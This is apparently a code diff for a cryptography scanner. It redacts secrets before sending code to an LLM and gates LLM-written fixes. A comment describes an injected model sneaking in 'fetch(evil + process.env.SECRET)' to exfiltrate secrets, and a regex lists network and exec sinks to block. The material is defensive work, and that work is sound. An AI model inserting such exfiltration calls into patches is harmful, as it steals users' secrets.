const freq = new Map<string, number>();
|
|
52
|
+
for (const ch of s) freq.set(ch, (freq.get(ch) ?? 0) + 1);
|
|
53
|
+
let e = 0;
|
|
54
|
+
for (const n of freq.values()) {
|
|
55
|
+
const p = n / s.length;
|
|
56
|
+
e -= p * Math.log2(p);
|
|
57
|
+
}
|
|
58
|
+
return e;
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
/**
|
|
62
|
+
* Catch-all for high-entropy secret tokens the named {@link TOKEN_PATTERNS}
|
|
63
|
+
* above miss (custom / novel key formats not tied to a known vendor prefix).
|
|
64
|
+
* Best-effort and biased toward over-redaction (safe): only a *long*,
|
|
65
|
+
* *high-entropy*, *charset-diverse* run is replaced, so ordinary code
|
|
66
|
+
* identifiers, words, and prose are left intact for the LLM to work with.
|
|
67
|
+
*/
|
|
68
|
+
const HIGH_ENTROPY_RUN = /[A-Za-z0-9_\-+/=.]{24,256}/g;
|
|
69
|
+
function redactHighEntropy(text: string): { text: string; redacted: boolean } {
|
|
23
70
|
let redacted = false;
|
|
24
|
-
const out = text.replace(
|
|
25
|
-
|
|
26
|
-
|
|
71
|
+
const out = text.replace(HIGH_ENTROPY_RUN, (m) => {
|
|
72
|
+
const classes =
|
|
73
|
+
(/[A-Z]/.test(m) ? 1 : 0) + (/[a-z]/.test(m) ? 1 : 0) + (/[0-9]/.test(m) ? 1 : 0);
|
|
74
|
+
const hasSpecial = /[+/=_-]/.test(m);
|
|
75
|
+
// Random secrets are charset-diverse AND high-entropy; identifiers usually
|
|
76
|
+
// fail one of these (an identifier has repetition / structure → lower entropy).
|
|
77
|
+
if ((classes >= 3 || (classes >= 2 && hasSpecial)) && shannonEntropy(m) >= 4.0) {
|
|
78
|
+
redacted = true;
|
|
79
|
+
return REDACTED;
|
|
80
|
+
}
|
|
81
|
+
return m;
|
|
27
82
|
});
|
|
28
83
|
return { text: out, redacted };
|
|
29
84
|
}
|
|
30
85
|
|
|
86
|
+
/** Redact PEM/OpenSSH/PGP private-key blocks line-by-line (linear; tolerant of
|
|
87
|
+
* a missing END marker — a truncated key is still fully redacted). */
|
|
88
|
+
function redactPrivateKeyBlocks(text: string): { text: string; redacted: boolean } {
|
|
89
|
+
const begin =
|
|
90
|
+
/-----BEGIN (?:[A-Z0-9 ]*PRIVATE KEY|OPENSSH PRIVATE KEY|PGP PRIVATE KEY BLOCK)-----/;
|
|
91
|
+
const end = /-----END /;
|
|
92
|
+
let redacted = false;
|
|
93
|
+
let inKey = false;
|
|
94
|
+
const out: string[] = [];
|
|
95
|
+
for (const line of text.split("\n")) {
|
|
96
|
+
if (!inKey && begin.test(line)) {
|
|
97
|
+
inKey = true;
|
|
98
|
+
redacted = true;
|
|
99
|
+
out.push(REDACTED);
|
|
100
|
+
continue;
|
|
101
|
+
}
|
|
102
|
+
if (inKey) {
|
|
103
|
+
if (end.test(line)) inKey = false;
|
|
104
|
+
continue; // drop key-body / END lines
|
|
105
|
+
}
|
|
106
|
+
out.push(line);
|
|
107
|
+
}
|
|
108
|
+
return { text: out.join("\n"), redacted };
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
// Single-entry memo: same-file findings re-request the identical file content;
|
|
112
|
+
// this makes the whole-file redaction O(n) across all of them instead of O(n·k).
|
|
113
|
+
let memoInput: string | undefined;
|
|
114
|
+
let memoResult: { text: string; redacted: boolean } | undefined;
|
|
115
|
+
|
|
116
|
+
/** Replace every secret-looking token/block in `text` with {@link REDACTED}.
|
|
117
|
+
* Fails CLOSED: on oversized input or any error, the whole text is redacted. */
|
|
118
|
+
function stripSecrets(text: string): { text: string; redacted: boolean } {
|
|
119
|
+
if (memoInput === text && memoResult) return memoResult;
|
|
120
|
+
let result: { text: string; redacted: boolean };
|
|
121
|
+
if (text.length > MAX_SECRET_SCAN) {
|
|
122
|
+
result = { text: REDACTED, redacted: true };
|
|
123
|
+
} else {
|
|
124
|
+
try {
|
|
125
|
+
const pem = redactPrivateKeyBlocks(text);
|
|
126
|
+
let out = pem.text;
|
|
127
|
+
let redacted = pem.redacted;
|
|
128
|
+
for (const re of TOKEN_PATTERNS) {
|
|
129
|
+
out = out.replace(re, () => {
|
|
130
|
+
redacted = true;
|
|
131
|
+
return REDACTED;
|
|
132
|
+
});
|
|
133
|
+
}
|
|
134
|
+
// Best-effort entropy catch-all for novel token shapes the named patterns miss.
|
|
135
|
+
const ent = redactHighEntropy(out);
|
|
136
|
+
out = ent.text;
|
|
137
|
+
redacted = redacted || ent.redacted;
|
|
138
|
+
result = { text: out, redacted };
|
|
139
|
+
} catch {
|
|
140
|
+
result = { text: REDACTED, redacted: true };
|
|
141
|
+
}
|
|
142
|
+
}
|
|
143
|
+
memoInput = text;
|
|
144
|
+
memoResult = result;
|
|
145
|
+
return result;
|
|
146
|
+
}
|
|
147
|
+
|
|
31
148
|
/** Best-effort enclosing brace/colon block around a 0-based line index. */
|
|
32
149
|
function enclosingBlock(lines: string[], idx: number): string {
|
|
33
150
|
let start = idx;
|
package/src/registry.ts
CHANGED
|
@@ -20,6 +20,7 @@ import { rustDetector } from "./detectors/rust.js";
|
|
|
20
20
|
import { rubyDetector } from "./detectors/ruby.js";
|
|
21
21
|
import { cDetector } from "./detectors/c.js";
|
|
22
22
|
import { pemDetector } from "./detectors/pem.js";
|
|
23
|
+
import { statefulHbsDetector } from "./detectors/stateful-hbs.js";
|
|
23
24
|
|
|
24
25
|
/** Normalised scope of a detector (defaults to "source" when undeclared). */
|
|
25
26
|
export function detectorScope(d: Detector): DetectorScope {
|
|
@@ -111,8 +112,8 @@ export class DetectorRegistry {
|
|
|
111
112
|
/**
|
|
112
113
|
* The built-in detectors, in run order: the JS/TS source + config detectors,
|
|
113
114
|
* then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),
|
|
114
|
-
* then the language-agnostic PEM
|
|
115
|
-
* handled separately by `scan()`.
|
|
115
|
+
* then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The
|
|
116
|
+
* manifest (dependency) scanner is handled separately by `scan()`.
|
|
116
117
|
*
|
|
117
118
|
* This is the single source of truth for the default detector set: both
|
|
118
119
|
* {@link defaultRegistry} and the public `detectors` export (re-exported from
|
|
@@ -128,6 +129,7 @@ export const builtinDetectors: Detector[] = [
|
|
|
128
129
|
rubyDetector,
|
|
129
130
|
cDetector,
|
|
130
131
|
pemDetector,
|
|
132
|
+
statefulHbsDetector,
|
|
131
133
|
];
|
|
132
134
|
|
|
133
135
|
/**
|
|
@@ -45,6 +45,52 @@ function passesVerify(before: Finding[], after: Finding[], finding: Finding): bo
|
|
|
45
45
|
return targetGone && noNewRuleTypes && after.length < before.length;
|
|
46
46
|
}
|
|
47
47
|
|
|
48
|
+
/**
|
|
49
|
+
* Exfiltration / RCE primitives an LLM "crypto fix" should never *newly*
|
|
50
|
+
* introduce. `verifyFix` only proves the crypto finding is gone — it is blind to
|
|
51
|
+
* the rest of a full-file rewrite, so an injected/hostile model could drop the
|
|
52
|
+
* RSA call and add `fetch(evil + process.env.SECRET)` and still pass. This guard
|
|
53
|
+
* runs ONLY on `source: "llm"` patches (codemods are deterministic + trusted).
|
|
54
|
+
*/
|
|
55
|
+
const NEW_SINK_RE =
|
|
56
|
+
/\b(?:fetch|XMLHttpRequest|WebSocket|navigator\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\s*\(|spawn\s*\(|eval\s*\(|new\s+Function|os\.system|subprocess|Runtime\.getRuntime|require\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"]|import\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"])/g;
|
|
57
|
+
|
|
58
|
+
/** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix
|
|
59
|
+
* is localized; a sprawling rewrite is not reviewable as "just the fix". */
|
|
60
|
+
export const LLM_PATCH_MAX_CHANGED_LINES = 60;
|
|
61
|
+
|
|
62
|
+
function countMatches(re: RegExp, s: string): number {
|
|
63
|
+
return (s.match(re) ?? []).length;
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
/** Changed lines (removed + added) between two revisions, ignoring the shared
|
|
67
|
+
* prefix/suffix — same shape the CLI's unified-diff uses. */
|
|
68
|
+
function changedLineCount(before: string, after: string): number {
|
|
69
|
+
const a = before.split("\n");
|
|
70
|
+
const b = after.split("\n");
|
|
71
|
+
let start = 0;
|
|
72
|
+
while (start < a.length && start < b.length && a[start] === b[start]) start++;
|
|
73
|
+
let endA = a.length - 1;
|
|
74
|
+
let endB = b.length - 1;
|
|
75
|
+
while (endA >= start && endB >= start && a[endA] === b[endB]) {
|
|
76
|
+
endA--;
|
|
77
|
+
endB--;
|
|
78
|
+
}
|
|
79
|
+
return Math.max(0, endA - start + 1) + Math.max(0, endB - start + 1);
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
/** Reason an LLM patch is unsafe to auto-verify, or null when it is bounded. */
|
|
83
|
+
function llmPatchRisk(before: string, patch: Patch): string | null {
|
|
84
|
+
if (countMatches(NEW_SINK_RE, patch.newContent) > countMatches(NEW_SINK_RE, before)) {
|
|
85
|
+
return "LLM patch introduces a new network/exec/eval sink (possible prompt-injection); rejected — review the diff manually";
|
|
86
|
+
}
|
|
87
|
+
const changed = changedLineCount(before, patch.newContent);
|
|
88
|
+
if (changed > LLM_PATCH_MAX_CHANGED_LINES) {
|
|
89
|
+
return `LLM patch changes ${changed} lines (> ${LLM_PATCH_MAX_CHANGED_LINES}); too broad to auto-verify — review the diff manually`;
|
|
90
|
+
}
|
|
91
|
+
return null;
|
|
92
|
+
}
|
|
93
|
+
|
|
48
94
|
/**
|
|
49
95
|
* Run each finding through patchSource → policy → verify, collecting the patches
|
|
50
96
|
* that survive both gates and the reasons the rest were dropped.
|
|
@@ -68,6 +114,15 @@ export async function remediateFindings(
|
|
|
68
114
|
rejected.push({ finding, reason: decision.reason ?? "rejected by patch policy" });
|
|
69
115
|
continue;
|
|
70
116
|
}
|
|
117
|
+
// Untrusted full-file LLM rewrites get a blast-radius gate the crypto-only
|
|
118
|
+
// verify step can't provide (new-sink + change-size bound).
|
|
119
|
+
if (patch.source === "llm") {
|
|
120
|
+
const risk = llmPatchRisk(content, patch);
|
|
121
|
+
if (risk) {
|
|
122
|
+
rejected.push({ finding, reason: risk });
|
|
123
|
+
continue;
|
|
124
|
+
}
|
|
125
|
+
}
|
|
71
126
|
const before = verifyFix(content, { filename: finding.location.file }).findings;
|
|
72
127
|
const after = verifyFix(patch.newContent, { filename: patch.path }).findings;
|
|
73
128
|
if (!passesVerify(before, after, finding)) {
|